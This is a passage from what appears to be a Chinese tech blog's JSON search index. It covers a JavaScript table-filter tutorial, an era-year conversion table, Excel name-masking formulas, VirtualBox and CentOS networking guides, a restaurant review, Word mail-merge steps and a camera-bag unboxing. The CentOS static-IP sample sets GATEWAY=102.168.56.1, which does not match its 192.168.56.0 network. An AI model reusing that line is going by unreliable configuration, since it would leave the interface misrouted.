\u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;岳靈珊\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;0928-888999\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;tr\u0026gt; \u0026lt;td\u0026gt;獨孤求敗\u0026lt;/td\u0026gt; \u0026lt;td\u0026gt;0975-938374\u0026lt;/td\u0026gt; \u0026lt;/tr\u0026gt; \u0026lt;/tbody\u0026gt; \u0026lt;/table\u0026gt; 這裡的網頁表格請按照標準的寫法，將標頭放在 \u0026lt;thead\u0026gt; 標籤中，而內容則是放在 \u0026lt;tbody\u0026gt; 標籤中，這樣後續的 JavaScript 才會正常運作。\nJavaScript 程式碼 修改好 HTML 原始法之後，在網頁中加入以下 JavaScript 程式碼（可以放在外部的 .js 檔案中再引入，或是直接放在 \u0026lt;script\u0026gt; 與 \u0026lt;/script\u0026gt; 標籤中）：\n(function(document) { \u0026#39;use strict\u0026#39;; // 建立 LightTableFilter var LightTableFilter = (function(Arr) { var _input; // 資料輸入事件處理函數 function _onInputEvent(e) { _input = e.target; var tables = document.getElementsByClassName(_input.getAttribute(\u0026#39;data-table\u0026#39;)); Arr.forEach.call(tables, function(table) { Arr.forEach.call(table.tBodies, function(tbody) { Arr.forEach.call(tbody.rows, _filter); }); }); } // 資料篩選函數，顯示包含關鍵字的列，其餘隱藏 function _filter(row) { var text = row.textContent.toLowerCase(), val = _input.value.toLowerCase(); row.style.display = text.indexOf(val) === -1 ? \u0026#39;none\u0026#39; : \u0026#39;table-row\u0026#39;; } return { // 初始化函數 init: function() { var inputs = document.getElementsByClassName(\u0026#39;light-table-filter\u0026#39;); Arr.forEach.call(inputs, function(input) { input.oninput = _onInputEvent; }); } }; })(Array.prototype); // 網頁載入完成後，啟動 LightTableFilter document.addEventListener(\u0026#39;readystatechange\u0026#39;, function() { if (document.readyState === \u0026#39;complete\u0026#39;) { LightTableFilter.init(); } }); })(document); 在實際應用時，建議可將 JavaScript 程式碼壓縮（可用 JSCompress 等工具）之後，再貼在網頁上，可減少網頁的資料量。\n執行結果 這是實際執行的樣子，我們可以在搜尋欄位輸入一些關鍵字，表格中就會即時呈現搜尋的結果，由於我們只用到非常簡單的 JavaScript 程式碼，加上靜態網頁表格的資料量不大，所以它的執行效能非常好，對於普通網頁來說非常實用。更實際的範例參考民國、西元年份與歲次對照表範例。\n搜尋：\n姓名 電話 令狐沖 0928-123456 岳不群 0928-654321 岳靈珊 0928-888999 獨孤求敗 0975-938374 參考資料 CodePen StackOverflow ","permalink":"https://blog.gtwang.org/web-development/light-javascript-table-filter-tutorial/","summary":"\u003cp\u003e這裡介紹如何在網頁中加入簡單的 JavaScript 程式碼，讓表格擁有基本的資料搜尋與篩選功能。\u003c/p\u003e\n\u003cp\u003e在設計網頁時，若遇到表格資料比較多的情況，可以適時加入輕量化的 JavaScript 程式碼，讓表格具有簡易的資料搜尋與篩選功能，讓使用者更方便尋找資料，而這種做法不會使用到 jQuery 等大型函式庫，對於整個網頁的效能幾乎沒有影響。\u003c/p\u003e","title":"JavaScript 實作簡易網頁表格資料搜尋與篩選功能"},{"content":"這裡提供了民國年份、西元年份、日本年號、中國年號與歲次的對照表，還有即時搜尋的功能，可輸入關鍵字篩選資料。\n請在搜尋欄位中輸入要查詢的關鍵字，例如「105」、「甲午」等，即可即時顯示搜尋結果。\n搜尋： 民國 西元 日本年號 中國年號 歲次 民前38 1874 明治7 同治13 甲戌 民前37 1875 明治8 光緒元 乙亥 民前36 1876 明治9 光緒2 丙子 民前35 1877 明治10 光緒3 丁丑 民前34 1878 明治11 光緒4 戊寅 民前33 1879 明治12 光緒5 己卯 民前32 1880 明治13 光緒6 庚辰 民前31 1881 明治14 光緒7 辛巳 民前30 1882 明治15 光緒8 壬午 民前29 1883 明治16 光緒9 癸未 民前28 1884 明治17 光緒10 甲申 民前27 1885 明治18 光緒11 乙酉 民前26 1886 明治19 光緒12 丙戌 民前25 1887 明治20 光緒13 丁亥 民前24 1888 明治21 光緒14 戊子 民前23 1889 明治22 光緒15 己丑 民前22 1890 明治23 光緒16 庚寅 民前21 1891 明治24 光緒17 辛卯 民前20 1892 明治25 光緒18 壬辰 民前19 1893 明治26 光緒19 癸巳 民前18 1894 明治27 光緒20 甲午 民前17 1895 明治28 光緒21 乙未 民前16 1896 明治29 光緒22 丙申 民前15 1897 明治30 光緒23 丁酉 民前14 1898 明治31 光緒24 戊戌 民前13 1899 明治32 光緒25 己亥 民前12 1900 明治33 光緒26 庚子 民前11 1901 明治34 光緒27 辛丑 民前10 1902 明治35 光緒28 壬寅 民前09 1903 明治36 光緒29 癸卯 民前08 1904 明治37 光緒30 甲辰 民前07 1905 明治38 光緒31 乙巳 民前06 1906 明治39 光緒32 丙午 民前05 1907 明治40 光緒33 丁未 民前04 1908 明治41 光緒34 戊申 民前03 1909 明治42 宣統元 己酉 民前02 1910 明治43 宣統2 庚戌 民前01 1911 明治44 宣統3 辛亥 民國元 1912 大正元 壬子 民國2 1913 大正2 癸丑 民國3 1914 大正3 甲寅 民國4 1915 大正4 乙卯 民國5 1916 大正5 丙辰 民國6 1917 大正6 丁巳 民國7 1918 大正7 戊午 民國8 1919 大正8 己未 民國9 1920 大正9 庚申 民國10 1921 大正10 辛酉 民國11 1922 大正11 壬戌 民國12 1923 大正12 癸亥 民國13 1924 大正13 甲子 民國14 1925 大正14 乙丑 民國15 1926 昭和元 丙寅 民國16 1927 昭和2 丁卯 民國17 1928 昭和3 戊辰 民國18 1929 昭和4 己巳 民國19 1930 昭和5 庚午 民國20 1931 昭和6 辛未 民國21 1932 昭和7 壬申 民國22 1933 昭和8 癸酉 民國23 1934 昭和9 甲戌 民國24 1935 昭和10 乙亥 民國25 1936 昭和11 丙子 民國26 1937 昭和12 丁丑 民國27 1938 昭和13 戊寅 民國28 1939 昭和14 己卯 民國29 1940 昭和15 庚辰 民國30 1941 昭和16 辛巳 民國31 1942 昭和17 壬午 民國32 1943 昭和18 癸未 民國33 1944 昭和19 甲申 民國34 1945 昭和20 乙酉 民國35 1946 昭和21 丙戌 民國36 1947 昭和22 丁亥 民國37 1948 昭和23 戊子 民國38 1949 昭和24 己丑 民國39 1950 昭和25 庚寅 民國40 1951 昭和26 辛卯 民國41 1952 昭和27 壬辰 民國42 1953 昭和28 癸巳 民國43 1954 昭和29 甲午 民國44 1955 昭和30 乙未 民國45 1956 昭和31 丙申 民國46 1957 昭和32 丁酉 民國47 1958 昭和33 戊戌 民國48 1959 昭和34 己亥 民國49 1960 昭和35 庚子 民國50 1961 昭和36 辛丑 民國51 1962 昭和37 壬寅 民國52 1963 昭和38 癸卯 民國53 1964 昭和39 甲辰 民國54 1965 昭和40 乙巳 民國55 1966 昭和41 丙午 民國56 1967 昭和42 丁未 民國57 1968 昭和43 戊申 民國58 1969 昭和44 己酉 民國59 1970 昭和45 庚戌 民國60 1971 昭和46 辛亥 民國61 1972 昭和47 壬子 民國62 1973 昭和48 癸丑 民國63 1974 昭和49 甲寅 民國64 1975 昭和50 乙卯 民國65 1976 昭和51 丙辰 民國66 1977 昭和52 丁巳 民國67 1978 昭和53 戊午 民國68 1979 昭和54 己未 民國69 1980 昭和55 庚申 民國70 1981 昭和56 辛酉 民國71 1982 昭和57 壬戌 民國72 1983 昭和58 癸亥 民國73 1984 昭和59 甲子 民國74 1985 昭和60 乙丑 民國75 1986 昭和61 丙寅 民國76 1987 昭和62 丁卯 民國77 1988 昭和63 戊辰 民國78 1989 平成1 己巳 民國79 1990 平成2 庚午 民國80 1991 平成3 辛未 民國81 1992 平成4 壬申 民國82 1993 平成5 癸酉 民國83 1994 平成6 甲戌 民國84 1995 平成7 乙亥 民國85 1996 平成8 丙子 民國86 1997 平成9 丁丑 民國87 1998 平成10 戊寅 民國88 1999 平成11 己卯 民國89 2000 平成12 庚辰 民國90 2001 平成13 辛巳 民國91 2002 平成14 壬午 民國92 2003 平成15 癸未 民國93 2004 平成16 甲申 民國94 2005 平成17 乙酉 民國95 2006 平成18 丙戌 民國96 2007 平成19 丁亥 民國97 2008 平成20 戊子 民國98 2009 平成21 己丑 民國99 2010 平成22 庚寅 民國100 2011 平成23 辛卯 民國101 2012 平成24 壬辰 民國102 2013 平成25 癸巳 民國103 2014 平成26 甲午 民國104 2015 平成27 乙未 民國105 2016 平成28 丙申 民國106 2017 平成29 丁酉 民國107 2018 平成30 戊戌 民國108 2019 令和1 己亥 民國109 2020 令和2 庚子 民國110 2021 令和3 辛丑 民國111 2022 令和4 壬寅 民國112 2023 令和5 癸卯 民國113 2024 令和6 甲辰 民國114 2025 令和7 乙巳 民國115 2026 令和8 丙午 民國116 2027 令和9 丁未 ","permalink":"https://blog.gtwang.org/life/chinese-western-japan-years-map/","summary":"\u003cp\u003e這裡提供了民國年份、西元年份、日本年號、中國年號與歲次的對照表，還有即時搜尋的功能，可輸入關鍵字篩選資料。\u003c/p\u003e\n\u003cp\u003e\n\n\u003cins class=\"adsbygoogle\"\n     style=\"display:block\"\n     data-ad-client=\"ca-pub-7794009487786811\"\n     data-ad-slot=\"9921134032\"\n     data-ad-format=\"auto\"\n     data-full-width-responsive=\"true\"\u003e\u003c/ins\u003e\n\u003cscript\u003e\n     (adsbygoogle = window.adsbygoogle || []).push({});\n\u003c/script\u003e\n\u003c/p\u003e\n\n\u003cp\u003e請在搜尋欄位中輸入要查詢的關鍵字，例如「105」、「甲午」等，即可即時顯示搜尋結果。\u003c/p\u003e","title":"民國年份、西元年份、日本年號、中國年號、歲次對照表"},{"content":"這裡介紹如何在 Excel 中使用 REPLACE 函數，將姓名的第二個字取代為圓圈符號。\n個人資料保護法上路之後，凡是人員的姓名等基本資料，都需要善加保護。對於姓名的資料來說，最常見的保護方式就是將其中一個字以圓圈符號代替，避免直接揭露全名、洩露個資，以下是在 Excel 中以 REPLACE 函數，將姓名的第二個字取代為圓圈符號的操作教學。\n假設我們現在有一些姓名的資料如下：\n我們接下來希望將每個姓名的第二個字都改成圓圈，然後放在保護姓名這一欄。\n以 REPLACE 函數取代第二個字 REPLACE 函數可以將一串文字中的某一部分，用其他的文字替換掉，其語法如下：\n=REPLACE(原始文字, 開始位置, 替換長度, 新文字) 其中「原始文字」在這裡就是完整的姓名資料，而我們想要把每個姓名的第二個字替換掉，所以「開始位置」就填入 2、「替換長度」則填入 1，新文字則是 ○ 這個圓圈符號。\n=REPLACE(A2,2,1,\u0026#34;○\u0026#34;) 將公式填入保護姓名欄位的第一格中：\n接著將寫好的 REPLACE 公式往下拉，套用至以下的儲存格中，就完成了。\n取代最後一個字 其實保護姓名資料，除了取代第二個字之外，也可以取代最後一個字，只要規則統一即可，但是若想要統一取代姓名的最後一個字，會有姓名長度不一的問題，所以在開始位置的指定上，要改用 LEN 函數，計算出姓名的最後一個字是哪一個：\n=REPLACE(A2,LEN(A2),1,\u0026#34;○\u0026#34;) 套用此公式的結果如下：\n只保留姓氏 若想要只保留姓氏，可以使用這個公式：\n=REPLACE(A2,2,LEN(A2)-1,REPT(\u0026#34;○\u0026#34;,LEN(A2)-1)) 以這個例子來說，我們也可以直接抽取姓名的第一個字，再加上適當長度的圓圈符號，產生相同的結果：\n=CONCATENATE(LEFT(A2,1),REPT(\u0026#34;○\u0026#34;,LEN(A2)-1)) ","permalink":"https://blog.gtwang.org/windows/excel-replace-character-with-circle-tutorial/","summary":"\u003cp\u003e這裡介紹如何在 Excel 中使用 \u003ccode\u003eREPLACE\u003c/code\u003e 函數，將姓名的第二個字取代為圓圈符號。\u003c/p\u003e\n\u003cp\u003e個人資料保護法上路之後，凡是人員的姓名等基本資料，都需要善加保護。對於姓名的資料來說，最常見的保護方式就是將其中一個字以圓圈符號代替，避免直接揭露全名、洩露個資，以下是在 Excel 中以 \u003ccode\u003eREPLACE\u003c/code\u003e 函數，將姓名的第二個字取代為圓圈符號的操作教學。\u003c/p\u003e","title":"Excel 用 REPLACE 函數將姓名第二個字取代為圓圈符號 ○ 教學"},{"content":"這裡介紹如何調整 VirtualBox 的網路設定，讓開發者可透過網路連線至虛擬機器做測試。\n對於軟體或系統開發者來說，有時後會需要一個乾淨的作業系統作為測試環境，最方便的作法就是用 VirtualBox 這類的虛擬機器（virtual machine），安裝一個新的作業系統來測試，環境單純並且亦不用擔心把系統搞壞。\n若要建立一個測試用的網頁伺服器，可以把 Linux 安裝在虛擬機器中，然後以網路連線至虛擬主機，進行開發與測試，以下是從實體的本機連線至虛擬主機的網路設定。\nStep 1\n假設我們已經安裝好了一個新的 Linux 虛擬機器，此時從「檔案」中點選「主機網路管理員」。\nStep 2\n在主機網路管理員中，建立新的子網路。\nStep 3\n在 VirtualBox 的主要控制畫面上，選擇測試用的 Linux 虛擬主機，然後點選「設定值」。\nStep 4\n選擇「網路」的設定籤頁，在這裡可以設定虛擬主機的網路卡，通常第一張是預設以 NAT 上網的網路卡，所以不要更改第一張的設定，否則到時候對外連線容易出問題。\n在「介面卡 2」的地方，勾選「啟用網路卡」，選擇「僅線主機」介面卡，名稱的地方就選擇剛剛上面新增的子網路。\n這樣就完成 VirtualBox 的設定了，接下來就可以打開虛擬機器，讓虛擬機器裡面的 Linux 自動透過第二張網路卡取得 IP 位址，與實體的本機連線了。\n如果不想要每次開機都確認 DHCP 抓到的 IP 是那一個，可以將上面子網路的 DHCP 伺服器功能關閉，並調整虛擬機的網路設定，將 IP 位址設定為靜態的，這樣就可以把 IP 固定住（CentOS 可參考 CentOS Linux 靜態 IP 位址網路設定教學）。\n","permalink":"https://blog.gtwang.org/linux/virtualbox-network-connection-between-host-and-guest-tutorial/","summary":"\u003cp\u003e這裡介紹如何調整 VirtualBox 的網路設定，讓開發者可透過網路連線至虛擬機器做測試。\u003c/p\u003e\n\u003cp\u003e對於軟體或系統開發者來說，有時後會需要一個乾淨的作業系統作為測試環境，最方便的作法就是用 VirtualBox 這類的虛擬機器（virtual machine），安裝一個新的作業系統來測試，環境單純並且亦不用擔心把系統搞壞。\u003c/p\u003e","title":"VirtualBox 實體主機連線至虛擬主機網路設定教學"},{"content":"這裡介紹 CentOS Linux 7 的網路設定檔的配置方法，讓新灌好的系統可以上網。\n使用最小安裝（minimal install）來安裝 CentOS Linux 7 作業系統時，若在安裝時沒有設定網路，則裝好之後就必須手動設定網路才能上網，以下是設定的方法。\n進入 /etc/sysconfig/network-scripts/ 這個放置網路設定檔的目錄，並查看一下該目錄的檔案：\ncd /etc/sysconfig/network-scripts/ ls ifcfg-enp0s3 ifdown-ppp ifup-eth ifup-sit ifcfg-lo ifdown-routes ifup-ippp ifup-Team ifdown ifdown-sit ifup-ipv6 ifup-TeamPort ifdown-bnep ifdown-Team ifup-isdn ifup-tunnel ifdown-eth ifdown-TeamPort ifup-plip ifup-wireless ifdown-ippp ifdown-tunnel ifup-plusb init.ipv6-global ifdown-ipv6 ifup ifup-post network-functions ifdown-isdn ifup-aliases ifup-ppp network-functions-ipv6 ifdown-post ifup-bnep ifup-routes 在 CentOS Linux 中，網路卡設定檔的命名規則為 ifcfg-網路卡名稱，以這個例子來說，enp0s3 這張網路卡的設定檔就是 ifcfg-enp0s3，使用文字編輯器編輯這個檔案，預設的設定應該是自動使用 DHCP 取得 IP 位址，內容大約會像這樣：\nTYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=dhcp DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp0s3 UUID=fc289d60-31ad-4d3c-a668-14d7445efa41 DEVICE=enp0s3 ONBOOT=no 若要改為靜態 IP 位址，可以將設定檔修改成這樣：\nTYPE=Ethernet PROXY_METHOD=none BROWSER_ONLY=no BOOTPROTO=static DEFROUTE=yes IPV4_FAILURE_FATAL=no IPV6INIT=yes IPV6_AUTOCONF=yes IPV6_DEFROUTE=yes IPV6_FAILURE_FATAL=no IPV6_ADDR_GEN_MODE=stable-privacy NAME=enp0s3 UUID=fc289d60-31ad-4d3c-a668-14d7445efa41 DEVICE=enp0s3 ONBOOT=yes IPADDR=192.168.56.10 GATEWAY=102.168.56.1 NETWORK=192.168.56.0 NETMASK=255.255.255.0 DNS1=8.8.8.8 DNS2=9.9.9.9 以下是一些重要的欄位解釋：\nBOOTPROTO：IP 取得方式，static 代表靜態 IP 位址，dhcp 代表動態取得 IP 位址。 ONBOOT：設定為 yes 代表開機自動啟動此網路介面。 IPADDR：IP 位址。 GATEWAY：預設閘道。 NETWORK：網路的位址。 NETMASK：網路遮罩。 DNS1：第一台 DNS 伺服器。 DNS2：第二台 DNS 伺服器。 編輯好 ifcfg-enp0s3 設定檔之後，可以使用 ifup 與 ifdown 指令來啟動與停用網路介面：\n# 啟動網路介面 ifup enp0s3 # 停用網路介面 ifdown enp0s3 ifup 與 ifdown 所接的參數就是網路卡設定檔 ifcfg- 之後的名稱。\n啟用網路卡之後，若想要查看網路卡的狀況，通常我們會使用 ifconfig 這個指令，而 CentOS 的最小安裝中並沒有包含這個指令，所以執行時會出現這樣的錯誤訊息：\nifconfig: command not found 若要使用，請先安裝 net-tools 這個套件：\nsudo yum install net-tools 這樣就可以使用 ifconfig 指令了。\n","permalink":"https://blog.gtwang.org/linux/centos-linux-static-network-configuration-tutorial/","summary":"\u003cp\u003e這裡介紹 CentOS Linux 7 的網路設定檔的配置方法，讓新灌好的系統可以上網。\u003c/p\u003e\n\u003cp\u003e使用最小安裝（minimal install）來安裝 CentOS Linux 7 作業系統時，若在安裝時沒有設定網路，則裝好之後就必須手動設定網路才能上網，以下是設定的方法。\u003c/p\u003e","title":"CentOS Linux 靜態 IP 位址網路設定教學"},{"content":"呷米共食廚房是一家友善環境蔬食料理餐廳，接近 228 和平紀念公園，捷運台大醫院站也很近。\n最近我又要去台北出差了，由於每次去台北都會找時間去逛天瓏書局，所以想看看附近有沒有素食的餐廳可以用餐，結果發現在衡陽路上就有一家呷米共食廚房，從天瓏走過去不用一分鐘，看起來還不錯，所以就去吃吃看。\n呷米共食廚房不同於一般的餐廳，他們堅持友善環境的概念，直接從在地小農的手上收購有機或無毒的農產，讓小農可以獲得更合理的販售價格，直接幫助農民，並保護自然土地，另外都市的上班族也能吃到新鮮、天然又健康的料理。\n店名：呷米共食廚房\n地址：台北市中正區衡陽路 9 號\n營業時間：週一至週六 11:30 ～ 21：30\n週一至週五供應早餐 07：30 ～ 09:30\n週日公休\n電話：(02) 2331-9662\n網址：facebook 粉絲專頁\n這裡除了用餐之外，還有提供免費的 WiFi 無線網路、插座，在這裡喝下午茶也很不錯。\n這是呷米的菜單。由於呷米選擇跟在地小農直接取得食材，食材的來源比較不穩定，能夠出的菜會跟當季的食材有關係，因此菜單的內容常會有一些小變動。\n因為整本菜單不太好拍，所以直接把每一頁拿下來拍。餐點分為全素、蛋素與五辛素，都有清楚標示在菜單上。\n有一些餐點甚至沒有列在菜單上，像今天我去的時候，服務生告訴我今天有麻油麵線，不過我最近嘴巴破，就沒有點了。\n在一樓點完餐之後，就拿著號碼牌上二樓找座位。二樓這邊有一幅「從產地到餐桌」的手繪圖，上面標示了呷米蔬食各種食材的來源。\n二樓的用餐環境還不錯。\n牆壁上掛了許多小農在田裡的照片。\n座位周圍都有插座，帶筆電來這邊使用也很方便。\n這是餐具與飲水區，WiFi 的密碼也標示在這邊。\n拿著號碼牌，選個位子坐下來，等待服務生上菜。\n今天中午我點了一道蔬食紅燒獅子頭套餐。\n蔬食紅燒獅子頭是用豆腐做的，裡面很軟，口感不錯。而在調味上呷米是屬於清淡養生的風格，沒有太多的調味，可以吃得出來食物原本的甘甜與清爽，它應該是我吃過最清淡的素食餐廳，對女生而言是不錯的養生美容餐（我感覺這裡的女性顧客滿多的）。\n這是季節小菜。\n這一碗是黑豆飯，吃完如果不夠的話，是可以續碗的喔。\n這是主廚湯品。\n今天我去的時候，飲料可以選擇咖啡或是梅汁，我選的是梅汁。\n今天的甜點是豆花。\n這是帳單。\n到了晚上我又來吃一次，這次點的是客家桔醬燒豆腐，它有一點酸酸甜甜，味道不錯，但是屬於清淡養生的風格。\n這是呷米的名片。\n呷米除了供應餐點之外，同時也販售小農生產的農產品。這一籃是放在門口的牛番茄。\n還有其他各種的水果。\n一樓店內也陳列了許多的商品。\n呷米的食材 90% 都是來自於台灣在地的小農。\n","permalink":"https://blog.gtwang.org/life/xia-mi-eco-friendly-vegetarian-restaurant-228-memorial-park-taipei-20180310/","summary":"\u003cp\u003e呷米共食廚房是一家友善環境蔬食料理餐廳，接近 228 和平紀念公園，捷運台大醫院站也很近。\u003c/p\u003e\n\u003cp\u003e最近我又要去台北出差了，由於每次去台北都會找時間去逛天瓏書局，所以想看看附近有沒有素食的餐廳可以用餐，結果發現在衡陽路上就有一家呷米共食廚房，從天瓏走過去不用一分鐘，看起來還不錯，所以就去吃吃看。\u003c/p\u003e","title":"[台北素食] 呷米共食廚房：友善環境蔬食料理，近 228 和平紀念公園"},{"content":"這裡示範如何使用 Word 的合併列印功能，讀取 Excel 的清單資料，套用至 Word 的排版文件中，產生各種標籤或信件等。\n最近我剛好需要製作非常大量的自黏標籤，所以從網路上買了這種印表機用的自黏標籤紙，只要把資料排版好用印表機印在上面，就可以直接撕下來黏貼，非常方便。\n這類的標籤紙有非常多種分割樣式，通常都可以使用對應的 Word 樣板來套印，有一些樣板在 Word 中就有內建，而有一些則可從標籤紙廠商的網站下載 Word 樣板。\n以下我們將示範如何使用 Word 內建的合併列印功能，在 Word 中自動產生這類的標籤。\n這是示範用的 Excel 清單表格，裡面包含了姓名、職稱、地址與業績統計資料：\n選擇標籤樣板 通常在標籤紙的說明中都會敘明標籤的編號，比較特殊的樣板要從標籤紙廠商的網站下載，若 Word 中有內建的樣板，即可依照以下步驟選擇。\nStep 1\n首先選擇「郵件」籤頁，接著選擇「啟用合併列印」功能選單。\nStep 2\n從「啟用合併列印」功能選單中，點選「標籤」。\nStep 3\n根據購買的標籤紙，選擇標籤編號。以我這裡的例子來說，先從「標籤樣式」中選擇「Unistat」，接著再選擇「U4464」這個標籤編號。\n如果想查看標籤編號所代表的表格資訊，可以點選「詳細資料」，即可看到各種細部的設定值。\nStep 4\n在套用標籤編號之後，就會得到一個分割好的表格。由於 Word 預設並不會顯示格線，所以建議可以從「表格工具」下的「版面配置」籤頁中，啟用「檢視格線」功能，在螢幕上顯示輔助格線。\nStep 5\n啟用「檢視格線」之後，就可以清楚看出每張小標籤的邊界了。\n連結 Excel 資料 準備好基本的樣板之後，接著就要連結儲存在 Excel 表格中的清單資料。 Step 1\n在「郵件」籤頁中，選擇「選取收件者」。\nStep 2\n點選「使用現有清單」。\nStep 3\n選擇含有清單資料的 Excel 檔案。\nStep 4\n選擇 Excel 檔案的工作表。\nStep 5\n如果只想要使用 Excel 檔案中的部分資料，可以點選「編輯收件者清單」。\nStep 6\n在此功能視窗中篩選清單資料，可依特定欄位值排序資料，或是尋找重複值等，將不要用的資料排除。\n插入欄位、文字並排版 整理完資料之後，就可以開始把資料的欄位插入樣板中。\nStep 1\n首先將游標移至表格的第一格，然後點選「插入合併欄位」。\nStep 2\n選擇想要插入的資料欄位。\nStep 3\n插入的欄位標籤跟一般的文字不同，當套用資料時，這些欄位標籤就會被替換成真正的資料，這裡建議可以啟用「醒目提示合併欄位」。\n啟用「醒目提示合併欄位」之後，欄位標籤會以灰底標示，以便區分普通文字以及欄位標示。\nStep 4\n加入普通的文字，並且排版。\nStep 5\n將第一格排版好的內容複製起來，貼在其餘每一格中「Next Record(下一筆)」標籤之後，就像下圖中這樣。\n「Next Record(下一筆)」這個標籤是 Word 內部判斷用的標籤，套用資料之後它就會消失，所以此時並不用在意它會造成排版混亂。\n預覽與列印 完成文字的排版之後，接下來就可以將 Excel 中的資料套進來預覽，並且列印或是轉為一般的 Word 檔。\nStep 1\n點選「預覽結果」即可將 Excel 中的實際資料套入。\nStep 2\n啟用「預覽列印」之後，檢查一下每一格的排版，若有問題的話，可再調整。如果清單資料筆數很多的話，可以按下預覽資料控制按鈕，選擇預覽的資料。\nStep 3\n確認排版都沒有問題之後，將「醒目提示合併欄位」功能關閉，然後點選「列印文件」。\nStep 4\n選擇列印範圍。\nStep 5\n選擇印表機，這裡我示範列印成 PDF 檔。\nStep 6\n列印出來之後，就是完成套版的標籤了。\n產生 Word 文件 除了直接列印出套版結果之外，也可以將結果轉為一般的 Word 文件檔，做進一步編輯。 Step 1\n點選「編輯個別文件」，並且選擇轉換的範圍。\nStep 2\n這樣就可以產生一般的 Word 文件檔。\n信件 如果想要自動依照 Excel 清單產生信件的內容，操作方法也跟標籤類似。 Step 1\n在「啟動合併列印」功能中，選擇信件。\nStep 2\n接著插入欄位標籤、文字，並進行排版。\nStep 3\n按下「預覽結果」，觀察排版是否正確。\nStep 4\n改變套用的清單資料，檢查不同資料的排版。\nStep 5\n確認資料與排版都正確之後，就可以把結果列印下來了。\n參考資料 Office 經理人 T客邦 ","permalink":"https://blog.gtwang.org/windows/word-excel-print-labels-using-mail-merge-tutorial/","summary":"\u003cp\u003e這裡示範如何使用 Word 的合併列印功能，讀取 Excel 的清單資料，套用至 Word 的排版文件中，產生各種標籤或信件等。\u003c/p\u003e\n\u003cp\u003e最近我剛好需要製作非常大量的自黏標籤，所以從網路上買了這種印表機用的自黏標籤紙，只要把資料排版好用印表機印在上面，就可以直接撕下來黏貼，非常方便。\u003c/p\u003e","title":"Word 結合 Excel 資料合併列印教學，大量製作標籤、信封或信件"},{"content":"本篇是 ThinkTank CityWalker 10 都市包的簡單開箱文。\n今年過年前我在 momo 購物網上看到 ThinkTank CityWalker 10 這款單眼相機包大特價，原本的價格要好幾千塊，可能因為停產了，所以現在價格特別便宜，一個只要 999 元。\n由於之前我也買過一個 ThinkTank Mirrorless Mover 20 微單眼相機包，對於 ThinkTank 的相機包設計很滿意，所以這次看到這款大的 ThinkTank CityWalker 10 都市包特價，剛好自己也需要，就馬上買了一個。\n這是我在 momo 購物網下訂的紀錄，過年之前下訂，隔天就馬上收到貨品，原本打算過年背它出去拍照、寫食記用，結果過年附近實在是太忙了，根本沒時間把它拿出來看，現在過了元宵節之後才有時間來開箱，遲了一個月。\n這是一個月前從 momo 寄來包裹，放了一個月才拿出來開箱。\n打開外箱，裡面還有一層塑膠袋。\n內容物就只有這一包。\n這就是 ThinkTank CityWalker 10 都市包，它實際上的大小比照片的感覺更大一些，可以裝一機三鏡、閃光燈、平板與手機等。\n側邊有小口袋，可以放水壺等物品。\n這是另外一側的口袋。\n這是背面的樣子。\n後方有一層比較寬的夾層，袋口有魔鬼氈。\n前方的拉鍊打開，可以放置小物品。\n這是包包最主要的扣環，兩側也有魔鬼氈，若扣環沒扣上，亦可用魔鬼氈黏上。\n這兩個魔鬼氈有個特別的設計，不想使用魔鬼氈的人，可以將它們收起來，這樣在掀開包包時，就不用撕魔鬼氈了。\n這個設計稱為 Sound Silencer，就是消音器的意思，打開後將魔鬼氈反摺黏上，這樣就打開包包時就會比較安靜一些。\n這是將魔鬼氈收起來的樣子。\n包包內側前方有一個可以放置小雜物的夾層。\n包包裡面最主要的就是放置相機與鏡頭的空間。\n裡面還有一層是放置 iPad 平板專用的夾層。\n內側後方還有一層拉鍊的夾層。\n內部的相機內袋是可以抽出來的，而包包內側兩邊還有兩個小袋子，看起來可以放置閃光燈。\n這是抽出來的相機內袋。\n這些是內袋的隔板與相機包的防水套，還有一本 ThinkTank 產品介紹手冊。\n防水套是黑色的。\n這個相機包算滿大的，可以裝的東西很多，所以有減壓背帶的設計。\n一般的背帶在調整長短時，只有一邊可以調整，而這條背帶的調整長短功能比較特別，兩邊都可以伸縮。\n以上就是簡單的開箱文，整理而言我感覺 ThinkTank 的產品在設計上都很用心，會注意許多實用的小細節，這次只花了 999 元就買了這個 ThinkTank CityWalker 10 都市包，真的很划算。\n","permalink":"https://blog.gtwang.org/unboxing/thinktank-citywalker-10-messenger-bag/","summary":"\u003cp\u003e本篇是 ThinkTank CityWalker 10 都市包的簡單開箱文。\u003c/p\u003e\n\u003cp\u003e今年過年前我在 momo 購物網上看到 ThinkTank CityWalker 10 這款單眼相機包大特價，原本的價格要好幾千塊，可能因為停產了，所以現在價格特別便宜，一個只要 999 元。\u003c/p\u003e","title":"[開箱] ThinkTank CityWalker 10 單眼相機包，鐵灰藍款"},{"content":"這裡介紹如何使用 Word 選擇性貼上，將複製的網頁資料去除排版資訊、保留純文字資料，或是以原來格式貼在 Word 文件中。\n若想要將網頁上的資料複製起來，貼在 Word 文件中，通常會遇到幾種狀況，一種就是想要保留網頁原始的排版，另外一種則是指需要文字資料，貼在 Word 文件上之後，再自己重新排版，這些常見的貼上動作都可以使用 Word 的選擇性貼上來完成。\n假設我們想要複製的網頁內容如下，包含一些文字以及圖片。\n若將這段內容直接以複製貼上的方式貼在 Word 中，雖然會保留原始的排版以及圖片，但是通常都會跟原來的文件排版有衝突。\n這時候就可以使用「貼上」功能選單中的選擇性貼上功能，改用不同的方式貼上資料。在這個功能表裡面，「保持原來設定格式設定」通常就是預設的貼上功能。\n合併格式設定 若感覺預設的貼上會擾亂版面，可以改用「合併格式設定」，它可以綜合網頁的排版格式以及 Word 文件的格式，讓整體排版更協調。\n只保留文字 如果完全不想要保留文字的格式，可以用「只保留文字」的方式貼上，不過使用這種方式的話，圖片的部分就要另外手動插入了。\n","permalink":"https://blog.gtwang.org/windows/word-paste-special-unformatted-text-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Word 選擇性貼上，將複製的網頁資料去除排版資訊、保留純文字資料，或是以原來格式貼在 Word 文件中。\u003c/p\u003e\n\u003cp\u003e若想要將網頁上的資料複製起來，貼在 Word 